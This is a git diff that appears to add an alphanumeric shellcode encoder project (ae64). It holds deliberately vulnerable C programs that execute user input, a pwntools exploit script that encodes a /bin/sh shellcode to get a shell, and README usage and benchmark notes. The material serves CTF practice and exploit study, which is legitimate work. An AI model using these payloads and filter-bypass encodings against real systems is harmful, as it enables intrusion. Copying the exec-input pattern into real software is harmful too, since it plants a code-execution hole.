zAPjjACk)S@)>17PqR#?v)u+5@M(C5jWW&z?$flpmpTxyLf+p71FWLKvO`q~CLtGrt z{Q=2~*Fr3NLFiLAl#h)F#k+EnX2q`mE1N$3zD&P6H~$y?ahpEncUMIJOKkyfpTA3> z52rr9hOjF-uhZ|)c6mF08FZ>F`jju$qERSzc{~3G$e@d2x#sdp=`-rT4Z0XAq)+)L z{ht8+KY$3QoIezQ$8G)7?~$`OC@6M+i6{C#$XNZ)<+GxL5Vw+lkRH)ln?9ZILqebY zBnzZR{0*oeM&qY*>+omPcY*Whe-jxLl=SiUUu!{GEJSOdPJQzR@pwUO9E(U$;5L@q mp|xYxKPCK^#5%qm8t;J*ji2^^4D(|BPl=1d*KEe^{r?A02}4}~ literal 0 HcmV?d00001 diff --git a/example/example1/example1.c b/example/example1/example1.c new file mode 100644 index 0000000..3fd0166 --- /dev/null +++ b/example/example1/example1.c @@ -0,0 +1,37 @@ +#include +#include +#include +#include +#include +typedef void (*func)(void); + +int main(void){ + setvbuf(stdout, NULL, _IONBF, 0); + char tmp; + int re; + char * p = (char *)malloc(0x1000); + printf("> "); + + for(int i = 0; i < 0x1000; i++){ + re = read(0, &tmp, 1); + if(re == -1) { + exit(0); + } + if(isalnum(tmp)) { + *(p+i) = tmp; + } else { + break; + } + } + + if(mprotect((void *)((int)p&~0xfff),0x1000,7) != -1){ + puts("exec shellcode..."); + ((func)p)(); + }else{ + puts("error ,tell admin"); + } + + return 0; +} + + diff --git a/example/example1/exp.py b/example/example1/exp.py new file mode 100644 index 0000000..4a0a3a8 --- /dev/null +++ b/example/example1/exp.py @@ -0,0 +1,14 @@ +from pwn import * +from ae64 import AE64 + +context.log_level = 'debug' +context.arch = 'amd64' + +p = process('./example1') + +obj = AE64() +sc = obj.encode(asm(shellcraft.sh()),'r13') + +p.sendline(sc) + +p.interactive() diff --git a/example/example2/example2 b/example/example2/example2 new file mode 100644 index 0000000000000000000000000000000000000000..b13da5e75274ed27e24d31f1206227545e77f3f7 GIT binary patch literal 13376 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 Sjn88BZ>_iVYaNBo`u_uGVrwn{ literal 0 HcmV?d00001 diff --git a/example/example2/example2.c b/example/example2/example2.c new file mode 100644 index 0000000..da0b4a1 --- /dev/null +++ b/example/example2/example2.c @@ -0,0 +1,70 @@ +#include +#include +#include +#include +#include +#include +#include +typedef void (*func)(void *,void *); + + +//amd64 +const char sc_start[] = "\x48\x89\xfc\x48\x89\xf0\x48\x31\xdb\x48\x31\xc9" + "\x48\x31\xd2\x48\x31\xff\x48\x31\xf6\x4d\x31\xc0" + "\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4" + "\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff\x48\x31\xed"; + +void check_sc(char *s){ + int len = strlen(s); + for(int i=0;i bytes: +""" +encode given shellcode into alphanumeric shellcode (amd64 only) +@param shellcode: bytes format shellcode +@param register: the register contains shellcode pointer (can with offset) (default=rax) +@param offset: the offset (default=0) +@param strategy: encode strategy, can be "fast" or "small" (default=fast) +@return: encoded shellcode +""" +''' +``` + + + +### About encode strategy + +I write two encode strategy, fast and small. + +Fast strategy is the default strategy, it generate alphanumeric shellcode very fast, but the shellcode is a bit long. + +Small strategy generate shellcode with the help of z3-solver, so it will be slower but when encoding big shellcode, it can gernerate much smaller shellcode. + + + +### Benchmark + +Functionality: + +| | ae64 | [alpha3](https://github.com/SkyLined/alpha3) | +| :--- | :------------------------------------------: | :--: | +| Encode x32 alphanumeric shellcode | × | √ | +| Encode x64 alphanumeric shellcode | √ | √ | +| Original shellcode can contain zero bytes | √ | × | +| Base address register can contain offset | √ | × | + + + +Length: + +| Origin length(in bytes) | ae64(fast) | ae64(small) | [alpha3](https://github.com/SkyLined/alpha3) | +| ----------------------- | ---------- | ----------- | -------------------------------------------- | +| 2 | 76 | 143 | 65 | +| 48 | 237 | 209 | 157 | +| 192 | 749 | 425 | 445 | +| 576 | 2074 | 998 | 1213 | +